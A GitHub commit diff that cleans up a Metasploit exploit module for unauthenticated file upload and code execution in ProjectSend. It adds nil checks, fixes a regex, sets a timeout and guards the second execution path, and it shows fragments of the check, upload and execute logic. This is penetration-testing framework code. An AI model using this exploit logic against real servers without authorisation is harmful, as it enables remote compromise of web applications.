Skip to content

Commit b5b0be9

Browse files
committed
Do minor cleanup
1 parent 5c82b8a commit b5b0be9

File tree

1 file changed

+15
-13
lines changed

1 file changed

+15
-13
lines changed

modules/exploits/unix/webapp/projectsend_upload_exec.rb

Lines changed: 15 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -67,20 +67,20 @@ def check
6767
elsif res.code.to_i == 500
6868
vprint_error("#{peer} - Unable to write file")
6969
return Exploit::CheckCode::Safe
70-
elsif res.code.to_i == 200 && res.body =~ /<\?php/
70+
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
7171
vprint_error("#{peer} - File process-upload.php is not executable")
7272
return Exploit::CheckCode::Safe
73-
elsif res.code.to_i == 200 && res.body =~ /sys.config.php/
73+
elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
7474
vprint_error("#{peer} - Software is misconfigured")
7575
return Exploit::CheckCode::Safe
76-
elsif res.code.to_i == 200 && res.body =~ /jsonrpc/
76+
elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
7777
# response on revision 118 onwards includes the file name
78-
if res.body =~ /NewFileName/
78+
if res.body && res.body =~ /NewFileName/
7979
return Exploit::CheckCode::Vulnerable
8080
# response on revisions 100 to 117 does not include the file name
81-
elsif res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
81+
elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
8282
return Exploit::CheckCode::Appears
83-
elsif res.body =~ /Failed to open output stream/
83+
elsif res.body && res.body =~ /Failed to open output stream/
8484
vprint_error("#{peer} - Upload folder is not writable")
8585
return Exploit::CheckCode::Safe
8686
else
@@ -113,14 +113,14 @@ def upload
113113
fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
114114
elsif res.code.to_i == 500
115115
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
116-
elsif res.code.to_i == 200 && res.body =~ /Failed to open output stream/
116+
elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
117117
fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
118-
elsif res.code.to_i == 200 && res.body =~ /<\?php/
118+
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
119119
fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
120-
elsif res.code.to_i == 200 && res.body =~ /sys.config.php/
120+
elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
121121
fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
122122
# response on revision 118 onwards includes the file name
123-
elsif res.code.to_i == 200 && res.body =~ /NewFileName/
123+
elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
124124
print_good("#{peer} - Payload uploaded successfully (#{fname})")
125125
return fname
126126
# response on revisions 100 to 117 does not include the file name
@@ -139,10 +139,10 @@ def upload
139139
def exec(upload_path)
140140
print_status("#{peer} - Executing #{upload_path}...")
141141
res = send_request_raw(
142-
'uri' => normalize_uri(target_uri.path, upload_path)
142+
{ 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
143143
)
144144
if !res
145-
print_error("#{peer} - Request timed out while executing")
145+
print_status("#{peer} - Request timed out while executing")
146146
elsif res.code.to_i == 404
147147
vprint_error("#{peer} - Not found: #{upload_path}")
148148
elsif res.code.to_i == 200
@@ -159,6 +159,8 @@ def exploit
159159
fname = upload
160160
register_files_for_cleanup(fname)
161161
exec("upload/files/#{fname}") # default for r-221 onwards
162-
exec("upload/temp/#{fname}") # default for r-100 to r-219
162+
unless session_created?
163+
exec("upload/temp/#{fname}") # default for r-100 to r-219
164+
end
163165
end
164166
end

0 commit comments

Comments
 (0)